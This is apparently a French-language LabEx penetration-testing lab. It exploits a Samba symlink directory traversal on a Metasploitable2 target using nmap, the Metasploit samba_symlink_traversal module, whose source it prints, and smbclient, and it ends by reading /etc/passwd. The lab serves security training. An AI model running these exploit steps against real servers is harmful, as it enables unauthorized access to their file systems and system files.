Introduction
Dans ce laboratoire, vous apprendrez à exploiter une nouvelle vulnérabilité Samba sur la machine cible Metasploitable2. Tout au long du processus, des captures d'écran vous seront fournies pour chaque étape. En terminant ce laboratoire, vous aurez une expérience pratique de l'utilisation d'outils pour exploiter la vulnérabilité Samba.
Ce cours est un tutoriel expérimental purement pratique. Pour vous aider à comprendre les opérations de l'expérience, certaines théories en sécurité informatique seront présentées, et les articles les plus intéressants seront recommandés pour que vous puissiez les lire tout en pratiquant.
Démarrer l'environnement d'expérience
Dans cette étape, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.
- Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2
Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.
- Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
- Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
- À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
Maintenant, la machine d'attaque et la machine cible sont en cours d'exécution, et vous pouvez commencer le test de pénétration.
Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour continuer l'expérience.
Scanner l'hôte cible pour détecter les vulnérabilités
Dans cette étape, vous utiliserez Nmap pour scanner l'hôte cible à la recherche de vulnérabilités.
Tout d'abord, connectez-vous au terminal MSF dans l'environnement Kali de LabEx :
cd ~
service postgresql start
msfdb init
msfconsole
La collecte d'informations sur l'hôte cible est la première étape du test de pénétration. Utilisez Nmap pour scanner l'hôte cible à la recherche de vulnérabilités et enregistrez les résultats du scan dans le fichier /tmp/report.txt en entrant la commande suivante :
nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Les paramètres utilisés ici ont les significations suivantes :
| Paramètre | Description |
|---|---|
-p |
Spécifie la plage de ports à scanner |
-T4 |
Définit la stratégie de temporisation pour le scan Nmap, avec des valeurs de 0 à 5 (plus la valeur est élevée, plus le scan est rapide) |
-A |
Active la détection du système d'exploitation et la détection de la version |
-v |
Affiche des informations détaillées pendant le processus de scan |
>/tmp/report.txt |
Redirige la sortie vers un fichier pour une analyse ultérieure |
Ce processus peut prendre un certain temps car une large plage de ports est scannée pour une collecte d'informations complète. Veuillez patienter une à deux minutes.
Une fois le scan terminé, appuyez sur Ctrl+D puis utilisez la commande cat pour afficher le contenu du fichier dans le terminal Kali de LabEx :
cat /tmp/report.txt
Vous devriez voir des informations similaires à ce qui suit dans le texte :
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Cela indique que les ports 139 et 445 exécutent le service Samba.
Analyser la vulnérabilité Samba
Dans cette étape, vous allez apprendre à connaître la vulnérabilité Samba et analyser le code central du module d'exploitation.
Samba est un logiciel libre qui permet aux systèmes d'exploitation de type UNIX de se connecter au protocole réseau SMB/CIFS (Server Message Block/Common Internet File System) utilisé par Microsoft Windows. La version 3 permet non seulement d'accéder et de partager des dossiers et imprimantes SMB, mais peut également s'intégrer dans un domaine Windows Server en tant que contrôleur de domaine ou rejoindre un Active Directory en tant que membre. En termes plus simples, ce logiciel comble le fossé entre Windows et les systèmes d'exploitation de type UNIX, permettant le partage de ressources entre les deux.
Samba a une large gamme d'applications, et par conséquent, les vulnérabilités de Samba peuvent avoir un impact significatif. Samba peut créer des partages réseau pour des répertoires Unix sélectionnés (y compris tous les sous-répertoires). Cette fonctionnalité permet aux utilisateurs Windows d'accéder à ces répertoires Unix sur le réseau, tout comme s'ils accédaient à des dossiers Windows normaux.
L'index de vulnérabilité utilisé dans cette expérience est :
L'index du code source du module Samba utilisé dans cette expérience est :
Passons à l'explication du code central :
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
Après avoir expliqué le code central du module, effectuons l'exploitation réelle dans le terminal MSF en entrant les commandes suivantes :
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
Définissez l'hôte cible :
set RHOST 192.168.122.102
Sélectionnez le répertoire partagé :
set SMBSHARE tmp
Remarque : Rappelons que l'impact de cette vulnérabilité Samba est qu'elle permet de créer des partages réseau pour des répertoires Unix sélectionnés (y compris tous les sous-répertoires).
Après avoir défini tous les paramètres requis, vous pouvez procéder à l'exploitation de la vulnérabilité :
exploit
En cas de succès, vous devriez voir le message suivant :
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
Après une exploitation réussie, quittez avec la commande exit, puis testez si vous pouvez vous connecter en utilisant smbclient dans le terminal. Vous serez invité à saisir un mot de passe, mais vous pouvez appuyer sur Entrée sans saisir de mot de passe :
exit
smbclient //192.168.122.102/tmp
Une fois connecté, vous pouvez vérifier l'accès au système de fichiers racine en exécutant la commande suivante :
more rootfs/etc/passwd
Vous devriez voir une sortie similaire à :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
Cela confirme que vous avez exploité avec succès la vulnérabilité et obtenu l'accès à l'hôte cible via le partage réseau créé.
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection
Résumé
Dans ce laboratoire, vous avez appris à connaître la vulnérabilité Samba dans Metasploitable2 et vous avez été guidé tout au long du processus d'exploitation de cette vulnérabilité sur la machine cible en utilisant les étapes originales. Vous avez ensuite utilisé le partage réseau créé pour vous connecter à l'hôte cible compromis. Les points clés abordés dans ce laboratoire sont les suivants :
- Commandes de base Linux
- Scan de vulnérabilités avec Nmap
- Analyse de la vulnérabilité Samba détectée
- Explication du code central du module
symlink_traversal - Connexion à l'hôte cible via le partage de fichiers réseau
Il est recommandé de répéter ces étapes plusieurs fois pour renforcer votre compréhension du processus de test de pénétration. La section des lectures recommandées fournit des ressources supplémentaires pour approfondir vos connaissances sur les vulnérabilités Samba.



